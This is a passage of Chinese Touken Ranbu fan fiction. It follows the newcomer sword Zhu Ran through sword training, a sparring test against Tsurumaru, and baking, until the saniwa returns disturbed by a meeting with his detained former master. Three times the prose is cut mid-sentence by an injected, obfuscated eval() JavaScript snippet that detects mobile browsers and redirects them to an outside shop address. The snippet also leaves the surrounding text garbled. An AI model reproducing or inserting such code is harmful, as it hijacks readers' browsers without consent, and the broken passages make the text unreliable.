昨天远征回来后,虽然和祝染时期差不多但是很有父亲自觉的小乌丸知道了祝染的情况,提出了自己的前端是双刃的,祝染可以参考他的刀法作练习。 相似的开刃正是父子关系的证明啊,所有的刀剑都是我的孩子。 小乌丸有理有据。 “脚再往前一点——对,就是这样。” “嗯!”祝染配合地向前挪了一小步,眼睛亮晶晶地看着小乌丸。 认真又可爱的样子看得小乌丸父爱澎湃,他踮起脚揉了揉祝染的头发:“好孩子,做得很好,继续吧。” 那一刻,祝染眨了眨眼,眼中亮光如同剑面反光一般明净。 ——原来被期待、被看见的感觉,是这样的啊。 不知是肌肉逐渐适应,还是心里某个结忽然松开,祝染渐渐找到了节奏,剑势不再生硬,反倒像是忽然学会了呼吸。 他旋身一转,长剑呼啸而出,刃光折射着晨光,划出一朵朵飞散的剑花。每一朵都像碎裂的樱瓣,闪烁着冷光,散落在空气里。 “——!” 白山吉光瞳孔微缩,他一瞬间看出了其中的章法,那并非单纯的乱舞,而是某种直觉驱使下的自然流畅。 祝染自己也愣了愣,随即笑开,眼睛亮晶晶的:“哎呀,原来是这么回事啊!我好像会啦! 风轻轻吹过,残存的樱花从屋檐上落下几瓣,刚好落在祝染的肩上。 他没有发现远处那群探头探脑的同伴们,只是专注地翻转变换着手腕地动作,剑势越来越变幻莫测,露出一点微妙的笑—— 带着成就感,也带着一点点孤独的柔软。 “好可爱啊,我也想揉祝染的头发。”乱藤四郎忍不住低语。 “剑花。”一直沉默的小夜左文字突然说话,虽然依旧面无表情,但是眼睛亮晶晶地。 他喜欢漂亮的花草,祝染的剑花虽然不在此列,但是确实很漂亮。 宗三左文字低头看向弟弟,表情柔软。 “嗯,真有种……”鹤丸国永眯起眼睛,忽然感慨起来,“看着孩子长大的感觉啊,好新奇。” ——空气,安静了整整三秒。 “……孩子?”加州清光挑眉,笑得危险,“染酱把你当姐妹,你把他当儿子?” “鹤丸,很危险的想法哦,我要去告诉祝染。”桃濑灯里也跟着起哄。 “只是打个比方嘛~”鹤丸国永无辜地眨眼,也不反驳姐妹这句话,语气还带着笑,“毕竟他现在连剑都刚会拿,看他一点点成长,不挺有趣的?” 对于鹤丸国永来说,生活的乐趣越多越好,而祝染能够带给他的乐趣和惊喜足够多,他也越来越喜欢祝染的存在。 “鹤丸殿说得对。”一期一振温声接话,目光仍注视着手合场的方向,“祝染殿很用心,第一天来还连剑重心都找不到,今天已经能能稳稳出刀开始学连贯动作了。” “而且——”三日月宗近不知何时也凑过来,笑意温和又揶揄,“为了自己存在的意义而努力,或许正是他开始‘像剑’的一刻。” 他这话说得云里雾里,让众人不由得一愣。 有知道内情的,比如压切长谷部和早上偷听到的几刃,也有不知道的。 “哈哈,我只是在说祝染殿现在看起来真的很开心。”三日月宗近淡定地给自己找补道。 “……你这话,好像有点道理。”药研藤四郎若有所思地低声说。 “嗯,确实。”长义淡淡地附和,难得没反驳。 而早上刚被祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“——进步神速!!!”小短刀们悄悄捏紧了拳头。 “安静!”压切长谷部瞬间低声呵斥,所有人又慌慌张张地趴下。 然而已经晚了,祝染猛地回头,脸上不可置信地泛起微红:“你们都在看?!?” 山姥切长义第一个反应过来,他一直也没蹲下过,此时从靠着的树干上直起若无其事地转身看天就要提步走刃:“嗯?好天气呢。” 山姥切国广也是缩紧了自己的被单在努力降低着存在感,而桃濑灯里也躲在他的被单里。 鹤丸国永顺势附和道:“对对对——我正和清光打赌今天会不会下雨来着!” 加州清光也面不改色地笑,甚至小坑了鹤丸国永一笔:“是啊,鹤丸赌输了,现在欠我二十小判,染酱,下次请你吃糖。” 药研藤四郎尴尬地咳了一声,硬生生往哥哥一期一振身后挪,假装自己是背景板。 虽然他也不知道为什么被祝染发现了要这么狼狈,他们似乎也没做什么别的事。 “原来这样呀。”祝染若有所思地点了点头,然后看向压切长谷部闻到:“那压切君在做什么?” “我在……巡逻本丸。”压切长谷部面色凝重,他果然还是不擅长撒谎,一紧张连祝染对他的称呼都忘记去纠正了。 “那长官你蹲着巡逻吗?”祝染笑眯眯地回一句。 果然长谷部君的表情和反应都特别有意思。 “我、我怕吓到你。”压切长谷部感觉自己耳尖开始发红发烫。 “我们只是刚好路过!”乱藤四郎立刻代表粟田口们举手,活像在课堂上抢答。 “是啊是啊!”博多藤四郎此时也不计较祝染乱花钱的事情了,急切地附和,“刚好看到你练得很好,就——” “就忍不住围观了!”信浓藤四郎帮腔,一脸真诚的补齐兄弟的话。 “围观?”祝染状似无辜地歪头,看着他们一脸紧张的表情,眼底笑意越来越深,手指轻轻点着下巴,笑得狡黠满意:“原来我练剑的观赏价值这么高啊。” “那是当然!”跟他相处最多的鹤丸国永赶紧顺竿往上爬,张口就来地顺毛:“染酱你天生就自带舞台灯嘛!你永远是我的大明星,鹤爱你捏。” 众人纷纷点头如捣蒜,空气里仿佛能听见默契的节奏。 风从树林尽头掠过,吹动他们的发梢、衣摆。 看着这些慌张无措的家伙,祝染的笑容愈发明媚,眼神里是柔光和一点点骄傲的亮。 “那我可要更努力点。” “因为被人看着进步的感觉,也不坏嘛。” “既然都来了,不如帮我看一看,刚才我是不是脚步还不太稳?” 说完他便转身回去,看起来不再关注这件事。 但其实面对他的白山吉光清楚地看到他脸上的笑容完全收不回去。 ——这样的本丸,真好。 他一走,藏在树影里的“观众团”就齐齐松了口气。 “呼……虽然被发现了,但是过了明路就不用蹲着了啊。”鹤丸国永第一个伸长腰,活动着脖子,姿态舒展如同一只舒展羽翼的鹤。 “哈哈哈哈,真不容易啊。”三日月宗近笑着揉了揉自己的腰。“老爷爷能坚持这么久很辛苦啊。” “那我提议。”加州清光立刻举手,“下次他练剑,我们换成正式的观摩席!” “那很会享受了。”压切长谷部冷笑。 “一期哥给我们做爆米花!”乱藤四郎兴奋地附和。 “还要果汁!”信浓藤四郎开团秒跟。 “那我去准备药箱。”药研藤四郎跟笑的温柔的一期一振对视了一眼,轻轻叹气。 落日的余晖洒在手合场上,金光在他们身后拉出一长串影子—— 那笑闹声,和屋檐间风铃的声响混在一起,柔和得像一首温柔的日常曲。 17.七舅姥爷这里有祝染的数值 “祝染,准备好了吗?” 又是一个早上,桃濑灯里面色严肃地站在手合场边,脖子上像模像样地挂了个计时器,手中还捧着纸和笔。 而她身旁一左一右的山姥切国广和山姥切长义,表情和动作都复制粘贴一样和她一模一样,两刃一人看起来像是要给学生做体测的体育老师一样。 祝染今天穿回了他红色的军装,神情有点紧张,长发被绑成高马尾,几缕碎发贴在脸侧随风轻轻摆动,手中握着着那柄白刃如雪的剑——干净、狭长、锋线极细,不像战斗用的兵器,倒更像一件脆弱的艺术品。 而他那柄华丽到夸张的剑鞘被他随意地扔在了草地上。 距离祝染练剑已经过去了小半个月,虽然不知道时之政府为什么还是了无音讯,但在过去的这段时间,他已经和本丸大部分的刀剑男士都混了个熟,很丝滑地融入了本丸的生活。 现在已经是本丸好评如潮的敬老爱幼标兵了,能帮一期一振带着弟弟去野餐,还能帮三日月宗近从烛台切光忠的眼皮子底下顺茶点。 这也不难,他性格本来就活泼,因为当过海外留子的经历,聊起天来天南海北奇闻逸事全都信手拈来,再加上和鹤丸国永一拍即合一丘之貉地玩在一起,很轻而易举就能吸引到大家的注意力。 而练习上,祝染更是一直有违刃设地起早贪黑、兢兢业业,丝毫看不出来刚来本丸的时候那副娇生惯养的样子。 而从某种意义上讲,今天也确实是体测了。 一方面,他们打算检验一下祝染最近的学习成果,如果差不多的话,就可以让他去出阵历练一下了。 哪怕不能去时空战场,也可以去大阪城或者其他活动,毕竟最近是巧克力大作战期间,而这家伙每天都要从出阵小队那里乞讨巧克力,看起来也很感兴趣。 而另一方面,是桃濑灯里打算研究一下祝染的其他各项数值。 目前已经有了大概的,只有侦察和机动。 也不知道是不是作为祭祀礼器,祝染一直很习惯万众瞩目的注视,他的侦察实在是不行,但凡高一点,他也不至于在夜间和鹤丸碰两头包。 而从对方之前穿着长裙还能在极化博多的追杀之下有来有回的表现,就知道机动肉眼可见的很高了。 难道是因为本体比较纤细轻盈的原因吗。 不过硬要说的话,隐蔽情况大概也有数了——戴上剑鞘是一把那么华丽显眼的剑,出鞘之后又雪亮明媚,怎么看都和隐蔽不搭边。 剩下的打击、冲力还有必杀之类的,一场手合下来就能摸的差不多了。 至于生存数值,那就见仁见智吧,毕竟不能把祝染往死里打,然后看他能挨几下才重伤。 这里是c7418本丸,是一个和谐友爱的地方,并非地狱笑话bot。 审神者桃濑灯里如是说道。 “今天的手合对象——鹤丸国永。” “呦,交给我的话,就放心吧。”被点到名的鹤丸国永很愉快地应声,太刀随意地扛在肩上,白发在日光下闪出细细的亮光。 他早就接到了通知,今天全副武装地穿着出阵服,戴着半掌手套的手举起来挥了挥,示意自己准备好了。 而只知道今天要手合但对于对手一无所知的祝染的喉咙滚了滚,忽然觉得有点干,居然面露难色: “……姬君,真的要一开始就上太刀吗,我能不能换个体型小一点的对手,比如短刀?胁差或者打刀也可以呀。” 虽然作为付丧神的时候,他和鹤丸国永身高体型相差不算明显,衣服也是可以混着穿的,但是把本体放到一起的时候,太刀和直剑封建般的体型差就出来了。 长度上是他比鹤丸要长出一点,但是从厚度和重量来看,说他是鹤丸国永的边角料都有可能。 “不可以刀种歧视啊染酱,更不要小瞧短刀啊,会被打爆的。”对极短们对实力深有体会的桃濑灯里好心地提醒。 在现在时政这个打刀太刀刮痧的机制下,极短,只要等级上来了,就是版本的真神,从大阪城杀到江户城,没有什么是他们做到的。 如果做不到的话,那就再带一把丙子椒林剑。 “不是。”祝染的笑容僵硬,他欲言又止了一会儿,还是决定坦白: “体型差太大了,虽然练习下来发现我好像做工和用料都挺好的,但还是会担心遇到太刀、大太刀之类的直接被冲击到折剑啊。” ——鼠鼠我呀,这下是真要挨打了。 这方面桃濑灯里他们当然也考虑过,手合对象是她和近侍们开小会精挑细选的,能最大限度地实现测验祝染这几项数值的效果的,就得是太刀。 而鹤丸国永是太刀里和祝染最熟的,毕竟只练习了不到一个月,第一次手合还是要多多关照一下的,所以这个刃选就落在了他的头上。 但看着祝染不似玩笑的犹豫和他确实明亮但纤细的本体,桃濑灯里也有些动摇了。 “但是总要克服的吧?”捧着本子还像模像样戴了眼镜的山姥切长义适时出声:“你还知道自己是刀剑男士吧,难道在战场上遇到敌太刀和敌大太你准备投降吗?” “喂,本歌……”这话虽然没问题,但说的有点太刺耳了,山姥切国广听到都惊慌失措地看了一眼山姥切长义,开口想缓和气氛。 “或者和敌枪同归于尽?还是干脆投敌。”完全无视山姥切长义的暗示,山姥切长义继续说话,神色自若语气平和,但内容非常尖锐。 此话一出,祝染刚刚还有些装可怜的表情肉眼可见变得严肃,他默不作声地把剑举起做出了准备的姿势,他居然真的被山姥切长义的话给说服了。 没想到一直说话很直白的山姥切长义居然是话疗的天赋型选手。 刚刚因为犹豫真的在考虑给祝染换个对手而没有说话桃濑灯里和山姥切长义同时不可置信地看向山姥切长义。 而被无形仰望的本作长义只是镇定自若地扶了一下自己的镜框,镜片折射出无机质的紫光。 只有在围观的山姥切国广知道,这副眼镜其实根本就没有度数,是时尚本歌今天ootd的一部分。 ——那是他之前为了满减凑单在万屋买回来的。 “伪物君,太优柔寡断了,想说的话都说不出来吗。”解决了祝染的问题,山姥切长义开始挨个批判起旁边两个没用的今日限定同事,首当其冲就是山姥切国广。 他只开口阻止山姥切长义,但在祝染问能不能换对手的时候没有说话,说明了他其实也不赞同祝染在手合上逃避。 “如果不能永远替他战斗,就总有一天要让他面对的,既然如此那为什么不能是今天。”山姥切长义又把目光投向桃濑灯里,恨铁不成钢似地把本子合上,用本背敲了对方的脑袋一下: “还有你,作为审神者决定好的事情不要犹犹豫豫啊。” “报告教官,我知道错了,我们赶紧开始吧,先看一下冲力和打击。”桃濑灯里捂着被敲的脑袋可怜兮兮地轻声说。 空气里的声音全都被抽空,连风都像屏住了呼吸。 “染酱,要开始咯。”鹤丸国永把太刀往肩上一架,笑意在阳光下熠熠生辉:“刀种什么的,只决定起点,不能决定你能走多远。” 他一边说着,一边懒洋洋地摆出起势,拔刀的动作干净利落。 “来吧,让我看看你最近练得怎么样,会不会给我惊喜呢。” 祝染依旧没有说话,他只是深吸一口气,也抬起自己的剑,却还是有点生疏,剑身微微颤抖。 ——第一击。 太刀出鞘,风声轰然。 鹤丸国永虽然看起来像鹤一般轻盈飘逸,但是出刀的气势却实打实如风暴般汹涌而迅猛,带起的风几乎把竹叶卷起。 祝染唇抿成一条直线,虽然刚刚说了害怕自己碎掉,但这时候还是选择了举剑相迎,刀剑相撞发出铿锵的响声,他果不其然被这股力震得虎口一阵发麻,剑尖在空气里微颤,纤瘦的身形不太明显地往后退了退,鞋底擦出浅浅的尘线。 仅此一击,就可以看出来祝染的冲力绝对高不了。 桃濑灯里在自己的笔记本上的一栏默默画了一个叉,而山姥切长义和山姥切国广则低着头在更加深入地动笔在写着什么。 毕竟战斗是他们本能也是工作,相较于桃濑灯里,同为刀剑男士的他们能从中分析出更多。 “哎呀,”鹤丸国永收势极稳,退半步,让出空间笑着挑眉,“光靠架可挡不住太刀啊。” 祝染的手还在发麻,他抿了抿唇,换了个握剑的姿势,但眼神却明亮了起来:“没关系,只要本体还完好无损的话,下一步我就有办法。” 对于这意料之内的结果,祝染倒是完全不气馁。 毕竟刚刚他虽然被压制住了毫无还手之力,但是他其实也没想到自己居然真的能抵挡得住鹤丸国永的全力一击,简直是意外惊喜。 鹤丸国永兴致盎然地轻轻一顿,那一瞬间,他看见了对方眼里闪着冷静又热烈的光。 开始兴奋起来了。 接下来,是一连串轻快的交锋。 鹤丸的每一次斩击都带着呼啸的气浪,祝染却都能如风中落叶般轻巧地避开,一次次几乎被逼入死角,却总能在临界的一瞬间避开、反打。 一番打击下来,祝染依旧开始微微喘着气,额角有汗,但眼里是那种“终于抓到感觉”的兴奋。 剑的重量开始在掌心变得清晰——那不是装饰的冰冷,而是一种真实的“存在感”。 每一次出剑,他都感觉自己与剑身之间的距离在缩短。 就像有什么在空气里,轻轻呼唤他: “看着我——使用我——” “听见了吗,你内心的声音?” 他从缝隙里反手一击,剑锋擦过太刀的鞘口,“铿”地一声,太刀的刀身被剑锋轻轻磕开,火花溅起。 鹤丸国永眼神一亮:“哦?不错啊——那一下挺有意思。” 而桃濑灯里一行人也默默记录了祝染的打击数据,虽然在力度上没办法跟太刀、大太相提并论,遇上的时候防御比较被动,但是不可否认的是剑确实无比锋利,甚至可以称得上惊心动魄,如果能抢先出手绝对打击很强。 而很巧的是祝染的机动在他这个体形里又高得离谱。 又一阵刀光闪过,太刀再一次逼近,却只劈到了风。 ——祝染的身形一瞬低伏,脚步轻如落雪。 仅仅一个眨眼的瞬息,他就从鹤丸的侧后方掠出—— 不与正面交锋,而是抓住缝隙,借势反击。 这一次,祝染几乎预判着鹤丸国永的动作,剑从斜上方削入,带着风、带着心跳的节奏。 侧身、滑步、回旋突刺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580554|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作行云流水,整个刃如一片红叶般轻盈,剑尖锋芒闪动—— 借着太刀落下的瞬间,他闪身侧进,迅速的换手持剑,剑身灵活地转换方向反挑着从太刀锋下擦过,在鹤丸的外衣袖口上,划开一道极细的裂线。 “什么!”他这招换手的反击打了所有人一个措手不及,山姥切国广不可置信地睁大了眼睛。 想过剑的用法和他们不一样,但没想过居然能这么不一样,左右手切换地简直就像呼吸一样轻松。 那一瞬间,祝染的发丝被风吹乱,阳光从他侧脸掠过,所有人都清楚地看到他的嘴角带着一抹锋芒毕露的笑意。 “哈……”鹤丸国永低头看了一眼袖口,畅快地笑了,“有趣!真的超有趣啊染酱!你那招是怎么回事啊!” 祝染的脸颊被风吹得微红,他喘着气,呼吸有些急促:“我没法跟你硬拼气力。” “但我能躲、能等,只要我还能握住剑,我就总有办法能达到我的目的,剑的优势,就是在‘空’的瞬间找到机会。” 确实如此,他的招数变幻莫测,不管是步伐还是剑法都让人防不胜防。 虽然现在还在依赖速度,切换并不是每一次都流畅自如,但是等他再成熟一些,实战经验再丰富一点,就会彻底变成得心应手的凶器。 如果在战场上遇到这样的对手,如果不紧绷神经全神贯注,简直是跟把脑袋直接交到他手上没区别。 相当恐怖的,并且还有成长空间的必杀值。 “好啦好啦,手合就点到即止吧。”记录完所有的数据,桃濑灯里清脆地喊了一声,开始和两把山姥切开碰头会。 “不错。”一直在教授祝染的山姥切长义很清楚他的进步到底有多大,罕见地露出赞许的表情。 “感觉差一点点了。”山姥切国广也平静地补充。 “但进步真的很快。”桃濑灯里的声音轻柔,却让来这边捡自己剑鞘的祝染的心脏怦然一跳。 ——他在被认可。 不只是作为“漂亮的祭祀剑”,而是作为“刀剑付丧神”。 听着他们窸窣的讨论声,他忍不住低低笑出声,还毫不客气地伸手向山姥切国广借走了他的手帕。 刚刚手合结束之后,鹤丸国永直接走到手合场外的草坪上席地而坐,收刀入鞘把太刀往地上一放,双手撑着草地懒散地拉伸了一下。 此时看到祝染也过来坐下,他随即露出平常那种半玩笑的笑容,打趣道,“染酱果然很厉害呀,动作又快又灵活,完全想不到你下一步要做什么,真的很有意思啊。” 祝染去旁边捡回了自己的剑鞘,此时却没有把剑收起来,而是把剑放在膝上,指尖轻轻抚过剑身,看着那剑在阳光下微微泛出的,和他眼睛颜色同出一辙的粉色的光。 刀剑思考的时候,也会习惯于凝视刀剑。 他们并肩坐着,感受着风从不远处的万叶樱那头的山坡上吹来。 “嗯。”过了半晌,祝染才点头像是在回答鹤丸的夸奖,他的目光依旧落在刀刃上,眼神带着点奇妙的平静。 “以前我以为剑就是……漂亮、锋利、可以被供起来的东西。可今天才知道——剑其实很重。” 他用手帕擦拭,一边看似不满地小声嘀咕着:“原来这么重啊……怪不得大人物都喜欢戴短刀,长剑真是累人。” 他手上的动作却意外的温柔,布料沿着剑身滑过,每一寸都像在抚摸某种生命的痕迹。 阳光摇晃,映出他侧脸的弧线。 那份漂亮不再像刚刚那么锋利耀眼,而是被一点点微风磨钝——柔和,安静,却又有种隐隐的光。 鹤丸国永安静地听着,坐在他旁边,伸手轻轻接过祝染手中的本体,把那把剑向上立起来,指尖顺着刃线滑下: “这重量,就是刀剑活着的证据吧?” “当然,也是染酱你的。”鹤丸国永轻声补上。 祝染怔了一下,片刻的静默。 阳光在他樱花般绚烂的眼底闪烁,仿佛被这句话点亮了什么。 然后,他慢慢露出笑容轻轻地笑了,声音几乎与风混在一起:“……那我得再练练,不能老让它拖着我走。” “好啦,鹤丸和祝染都辛苦了,我们要先回去啦。”过了一会儿,那边依旧商讨完祝染的后续安排的桃濑灯里带着本子和两刃缓缓走过来跟他们道别。 “姬君拜拜——”此时祝染依旧懒散地躺在草地上了,他虽然爱美,但好像向来对于暂时的脏污不怎么在乎,经常到处随地大小躺。 “祝染,你的神技是什么?”在和祝染即将要擦身而过的时候,山姥切长义突然轻声地询问道。 他旁边的桃濑灯里和山姥切国广,还有同样躺在地上的鹤丸国永具是一愣。 对哦,祝染是剑的话,那按照时政公布的信息来看,他就应该有自己的神技。 就像白山吉光可以治愈队友,丙子椒林剑可以束缚敌人一样。 独属于他的,天赋技能。 “长义君不愧是靠谱的时政公务员大人,一直都这么头脑冷静、问题关键呀。”已经完全把山姥切长义当猫的祝染先是笑咪咪地夸赞,然后伸出一根手指抵在唇边,做了个wink神神秘秘地说道: “怕你们知道了之后爱上我,所以这个要先保密哦。” “总有一天,你们会知道的。” 18.七舅姥爷祝染以前怎么是时间溯行军 黄昏的厨房里弥漫着香甜的气息。 烛台切光忠卷起袖子,此时正姿态优雅地搅拌着一碗面糊,阳光从厨房的窗户温柔地洒进来,勾勒出他俊美的轮廓。 而他旁边的祝染也在有样学样。 “祝染殿,这一步要轻一点,不然气泡都打没了蛋糕就会塌了。” “唔,我知道啦——”祝染的表情认真到快皱成一团,听着他的指示,手里握着打蛋器小心翼翼地旋着。 因为太认真了,即使几缕头发因为扎得松散垂下来贴在了他的脸侧,被风一吹轻轻晃动就会挡住视线,他也浑然不觉。 “啊,又弄到袖口上了。”烛台切光忠时刻关注着他这边的情况,及时地递过毛巾,“不用这么紧张的,做饭不需要像做实验一样严谨,能享受其中才是最重要的。” “才不是紧张,这就是匠人精神。”祝染迅速地反驳,声音被糖粉的香气裹着,软得像奶油: “赌上我曾经全欧洲巡展的尊严,烛台切你等着看吧,姬君回来之前我一定能做出像样的蛋糕,拿下她的味蕾,然后我就去万屋摆摊赚小判。” 他一边说,一边抽空抬手比了个胜利的手势,红色运动服的袖口上沾着一点白粉,看起来既狼狈又耀眼。 烛台切光忠礼貌地听着他的雄心壮志,不知道是该提醒他“像样”和能卖得出去是两个概念,还是该欣慰祝染真是成长了,从以前挥金如土,到现在都想着给本丸创收了。 桃濑灯里今天不在本丸,她和山姥切国广一起去万物采购了。 在知道她这项行程之后,祝染也曾积极地举手表示想要陪同,虽然只去过一次,但是他对那里的繁华意犹未尽。 而桃濑灯里自然是冷血无情地拒绝他。 先不说祝染这个黑户出一次门,她要多提心吊胆,光是祝染上一次在万屋轰炸式的购物,她就不可能同意这家伙去。 窗外的庭院里传来三日月宗近与鹤丸国永笑谈的声音,南泉一文字在树下像猫一样懒散地打着哈欠。 本丸里的一切,都平静得像春天的午后。 ——直到那阵脚步声传来。 本丸的大门被推开时,廊下的灯笼正好亮起。 暖黄的灯光落在那两人身上,却没能驱散那股压抑的冷气。 桃濑灯里径直走在前头,脚步急促,连鞋底敲击木板的声音都透着焦躁,山姥切国广提着几个购物袋跟在后面,沉默得像影子。 “啊,主殿回来啦!”几把小短刀高高兴兴地迎上来,信浓藤四郎举着刚烤好的团子想分享给她一起吃。 桃濑灯里勉强地挤出了一个微笑摇了摇头,一句话也没说就继续朝着目标地前进。 她快速地走向厨房,敲门,开门,动作一气呵成,并一把把门拉上。 那背影关门的声音,清脆得像把本丸的空气都彻底切开。 短刀们面面相觑,手里还端着冒着热气的点心。 厨房的门被迅速地推开又合上,桃濑灯里站在门口,神色不似平常。 她的眉眼间压着风雪般的凝重,身上还沾着外头的尘气,呼吸明显有点错乱。 那一瞬间,祝染甚至闻到了空气里残留的一点铁味。 他还穿着围裙,手上沾着一点面粉,看见桃濑灯里回来时,刚想开口问她要不要尝尝自己的手艺。 可对方的神情让他的话哽在喉咙。 “姬君?”他放下打蛋器,声音有点轻,像是怕惊扰到什么。 “主殿,发生什么事了吗?”烛台切光忠也察觉到了异样,他的神情从温柔转为警觉,立刻抬手擦净双手。 桃濑灯里的目光先扫过他,又落回祝染身上。 那一刻,她眼里有某种难以言说的复杂,像是下定了什么决心,又像是在犹豫要不要开口。 “祝染,”她的声音极轻,却足够让整间厨房都安静下来,“我有些事,想跟你单独谈谈。” 祝染茫然地眨了眨眼,反射性地笑了一下:“听起来好严重呀,该不会是我上次偷吃姬君的薯片被发现了吧?” 没有回应。 当桃濑灯里的目光继续沉默地落在他脸上的时候,他就意识到,这不是能笑过去的那种“谈话”。 烛台切光忠看了看祝染,又看了看桃濑灯里,声音温和却带着一丝探询:“要我避开吗?” 桃濑灯里轻轻摇了摇头:“不用了,我们出去说。” 她用的是肯定句,并没有真的给祝染选择的权利。 窗外的太阳不知道在什么时候已经悄然落山,空气的温度在这一刻真的变冷了。 祝染下意识地挺直了背,笑意在脸上凝固,只剩下一丝不安的光。 他转身擦了擦手,声音依旧轻快:“那……去天守阁聊吧?” “好。” 烛台切光忠担忧地望着两人的背影离开,半晌才叹了口气。 那碗刚打好的面糊在光下泛着淡淡的气泡,甜香弥散,却再也掩不住空气里那一丝微妙的紧绷。 两人走到天守阁,风从回廊穿过,吹进来一片落叶。 就像刚刚见面时一样,两个人又一次在天守阁进行对谈,只是这一次天气不再是夏天,临时的矮桌也已经撤掉了。 回到熟悉的环境,坐在柔软的沙发里,桃濑灯里没有立刻说话,只是默默地身体向后用力,把全身都瘫进沙发里,那姿态疲惫极了。 “姬君?”祝染轻声问,“你还好吗,不是去购物吗,怎么看起来像是——见鬼了一样。” 桃濑灯里的指尖微微一抖,她低头看了看手心,像在确定什么还是真的。 “……其实,也差不多。”桃濑灯里犹豫着开口。 听到她肯定的答复,祝染皱了皱眉,却没继续插话。 桃濑灯里深吸一口气,像是下定决心了般缓缓讲述起来: “我今天去万屋的时候,被时之政府的工作人员临时叫走了。” “他们带我去了一个地方——是个很安静的屋子,四面都挂着结界符。” “里面坐着一个人,政府的官员称他为‘特殊拘留对象’。” 祝染微微一愣。 “拘留对象?你见的……是罪人?” “算是吧。”桃濑灯里抬起头,眼里有复杂的光,“他说他曾经是个审神者。” “曾经?”祝染重复了一遍,语气轻微上扬,带着微妙的探询。 “——也是溯行军的‘同盟者’。” 祝染的笑意在那一刻彻底收敛。 晚风吹进来,空气像被一只手掐住了脖子。 “……那确实是罪有应得了。”祝染的声音低得几乎听不见。 “然后他跟我说。” 桃濑灯里顿了顿,语气微颤,“他说——‘真高兴看到你还活着。’” 祝染整个刃都怔住了,他的表情在一瞬间回归空白,看起来像是连呼吸都忘了。 这句话像一柄刀那样在空气里划开,留下冰冷的余音。 半晌,他的唇角才被牵扯着微微动了一下,似乎是想笑,却怎么也没笑出来。 万屋的街角,一家卖古籍和纸张的小摊前,桃濑灯里停下了脚步。 她被琳琅满目的纸张吸引,伸手正想挑几张质地顺手的,却忽然感受到了口袋里时政通讯器的震动。 点亮屏幕,上面赫然是七舅姥爷的简讯,让她现在立刻去时之政府找他。 这么着急,应该是很重要的事情,桃濑灯里虽然困惑,但自然也只能带着山姥切国广立刻动身。 但是没等她轻车熟路地摸去七舅姥爷的办公室,踏入时政办公楼的那一刻,她就被两名穿着黑色制服的时政职员拦下了, 最开始,她还以为是某种例行公事的检查,刚要开口解释,却被他们抢先一句话堵在了嘴边—— “桃音大人,请随我们走一趟,有人要见您。” “谁?”桃濑灯里此时虽然因为这反常的气氛有些不安,但是有山姥切国广在她身边,她还是能冷静思考的。 “这需要您自己来问。”工作人员的脸色看起来像是吞了铁块一样难看,话语也很简单,透露不出更多信息。 就这样,桃濑灯里和山姥切国广一起,被带入时之政府一处隐蔽的地下空间,但政府的工作人员只是沉默地为她打开了门,却没有跟她一起进去。 桃濑灯里的父母在她小的时候工作都很忙,是七舅姥爷承担起了照顾她的责任,而她可以说是从小就跟着七舅姥爷,在时政办公楼长大的孩子。 明明很小的时候就把大楼的构造摸了个遍,还天天四处乱跑,但这件房间她完全没有发现过。 在门上挂着结界符,空气中弥漫着焚香掺杂的铁锈气味,屋子里光线昏暗,唯一的光源是一盏油灯,灯火在半明半暗之间摇曳,照亮模糊的人影—— 坐在灯光下的男人手腕上锁着束缚具,正在对着她微笑,,但那双眼睛却黑沉沉的——像是会滋生出妖魔的深渊。 那是一个大约三十岁左右的青年,穿着普通低调的花灰色和服,头黑发中长,稍微有些凌乱地扎着个松散的低马尾,不管是长相还是气质都寡淡极了,看起来就是万屋随处可见的闲逛的路人。 他全身上下最特别的地方,大概就是裸露的脖子上那条暗红的、深可见骨的伤疤,像是一条毒虫一样狰狞地盘踞着。 桃濑灯里忍不住皱起了眉头。 这个人,是人类吗。 那样一道明显的伤痕,伤在脖子这样一个敏感脆弱的位置,如果是人类的话,按理来说就算对面没有被整个脑袋切下来,也应该因为大动脉被割破失血过多死去了。 但哪怕现在伤口看起来再狰狞可怖,都还是保住了一条命。 “终于见到您了,美丽的小姐。”那人微笑着开口,说话不急不慢,带着一种温和甚至礼貌的态度: “真高兴看到您还活着,您就是那位审神者吧?那孩子的— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583377|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —‘现任主人’。” 桃濑灯里虽然有预感他在说谁,但还是面上装作一无所知的模样问道: “什么孩子,你在说谁,你又是谁?找我有什么事情?” “啊,他果然没告诉您吗?”男人完全不管桃濑灯里的装傻,他轻轻歪了歪头,像是在玩味某个无声的秘密般,面带笑意地戳破了谜面。 “我是染酱上一任的‘主人’呀,至于为什么要找你,当然是不忍心你像我一样沦为他的受害者啊。” “……受害者?”桃濑灯里迟疑地重复他的话。 “当然。”他微笑,“祝染曾经是我亲手唤醒的付丧神——不,是或许他连付丧神都算不上,就是一个披着漂亮皮囊的伪物罢了。” “啊,那边的山姥切,请不要在意,我不是在说你。”男人甚至抽空安抚了一下对伪物这句话很敏感的山姥切国广。 